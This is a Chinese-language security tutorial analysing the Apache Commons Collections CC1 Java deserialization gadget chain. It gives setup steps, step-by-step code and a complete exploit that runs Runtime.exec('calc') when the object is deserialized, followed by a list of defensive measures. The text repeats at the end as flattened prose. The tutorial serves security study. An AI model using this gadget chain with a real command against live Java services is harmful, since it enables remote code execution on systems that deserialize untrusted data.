JAVA安全初探(三):CC1链全分析
字数 1265 2025-08-24 16:48:15

Java安全研究:CC1反序列化漏洞链全面分析

一、环境准备

1. JDK配置

  • 使用JDK 8u65版本
  • 配置到IDEA中:文件 → 项目结构 → SDK → 添加JDK路径

2. Maven依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

3. JDK源码配置

  1. 下载JDK源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
  2. 解压后复制src/share/classes/sun到JDK的src目录
  3. IDEA中配置:文件 → 项目结构 → SDK → 源路径 → 添加src文件夹

二、漏洞链分析

1. 利用点分析(终点)

核心类InvokerTransformer

  • 实现了Transformer接口和Serializable接口
  • 关键方法transform
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs); // 反射调用任意方法
    } catch (Exception ex) {
        throw new FunctorException(...);
    }
}

利用方式

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"}
);
invokerTransformer.transform(r);

2. 漏洞链构建

第一站:TransformedMap

  • TransformedMap.decorate()方法可创建实例
  • checkSetValue()方法会调用transform
Map<Object, Object> transformedmap = TransformedMap.decorate(
    new HashMap<>(), 
    null, 
    invokerTransformer
);

第二站:MapEntry.setValue

  • AbstractInputCheckedMapDecorator.MapEntry重写了setValue
  • 遍历Map时调用setValue会触发checkSetValue
for(Map.Entry entry: transformedmap.entrySet()) {
    entry.setValue(r);
}

第三站:AnnotationInvocationHandler.readObject

  • 重写了readObject方法
  • 反序列化时会调用setValue
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedmap);

3. 问题解决

问题1:Runtime不可序列化

解决方案:使用反射链

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getDeclaredMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

问题2:memberType为空

解决方案:使用Target注解并设置键为"value"

map.put("value", "gxngxngxn");
constructor.newInstance(Target.class, transformedmap);

问题3:value值不正确

解决方案:添加ConstantTransformer

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    // 其他transformers...
};

三、完整利用链

public static void main(String[] args) throws Exception {
    // 构造Transformer链
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod", 
            new Class[]{String.class, Class[].class}, 
            new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", 
            new Class[]{Object.class, Object[].class}, 
            new Object[]{null, null}),
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
    // 构造TransformedMap
    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "gxngxngxn");
    Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
    
    // 反射获取AnnotationInvocationHandler
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object o = constructor.newInstance(Target.class, transformedmap);
    
    // 序列化与反序列化
    serialize(o);
    unserialize("CC1.txt");
}

四、调用流程总结

  1. AnnotationInvocationHandler.readObject 反序列化时
  2. 调用 TransformedMapsetValue 方法
  3. 触发 checkSetValue 方法
  4. 调用 InvokerTransformer.transform 方法
  5. 通过反射链执行 Runtime.getRuntime().exec("calc")

五、关键知识点

  1. Java反射机制:动态获取类信息和调用方法
  2. Transformer接口:Commons Collections中的转换接口
  3. ChainedTransformer:将多个Transformer串联执行
  4. TransformedMap:装饰器模式增强Map功能
  5. AnnotationInvocationHandler:JDK内部类处理注解
  6. 序列化/反序列化:对象持久化和传输机制

六、防御措施

  1. 升级Commons Collections到安全版本
  2. 使用安全管理器限制反序列化
  3. 实现ObjectInputFilter过滤危险类
  4. 避免反序列化不可信数据
Java安全研究:CC1反序列化漏洞链全面分析 一、环境准备 1. JDK配置 使用JDK 8u65版本 配置到IDEA中:文件 → 项目结构 → SDK → 添加JDK路径 2. Maven依赖 3. JDK源码配置 下载JDK源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 解压后复制 src/share/classes/sun 到JDK的 src 目录 IDEA中配置:文件 → 项目结构 → SDK → 源路径 → 添加src文件夹 二、漏洞链分析 1. 利用点分析(终点) 核心类 : InvokerTransformer 实现了 Transformer 接口和 Serializable 接口 关键方法 transform : 利用方式 : 2. 漏洞链构建 第一站:TransformedMap TransformedMap.decorate() 方法可创建实例 checkSetValue() 方法会调用 transform 第二站:MapEntry.setValue AbstractInputCheckedMapDecorator.MapEntry 重写了 setValue 遍历Map时调用 setValue 会触发 checkSetValue 第三站:AnnotationInvocationHandler.readObject 重写了 readObject 方法 反序列化时会调用 setValue 3. 问题解决 问题1:Runtime不可序列化 解决方案 :使用反射链 问题2:memberType为空 解决方案 :使用 Target 注解并设置键为"value" 问题3:value值不正确 解决方案 :添加 ConstantTransformer 三、完整利用链 四、调用流程总结 AnnotationInvocationHandler.readObject 反序列化时 调用 TransformedMap 的 setValue 方法 触发 checkSetValue 方法 调用 InvokerTransformer.transform 方法 通过反射链执行 Runtime.getRuntime().exec("calc") 五、关键知识点 Java反射机制 :动态获取类信息和调用方法 Transformer接口 :Commons Collections中的转换接口 ChainedTransformer :将多个Transformer串联执行 TransformedMap :装饰器模式增强Map功能 AnnotationInvocationHandler :JDK内部类处理注解 序列化/反序列化 :对象持久化和传输机制 六、防御措施 升级Commons Collections到安全版本 使用安全管理器限制反序列化 实现 ObjectInputFilter 过滤危险类 避免反序列化不可信数据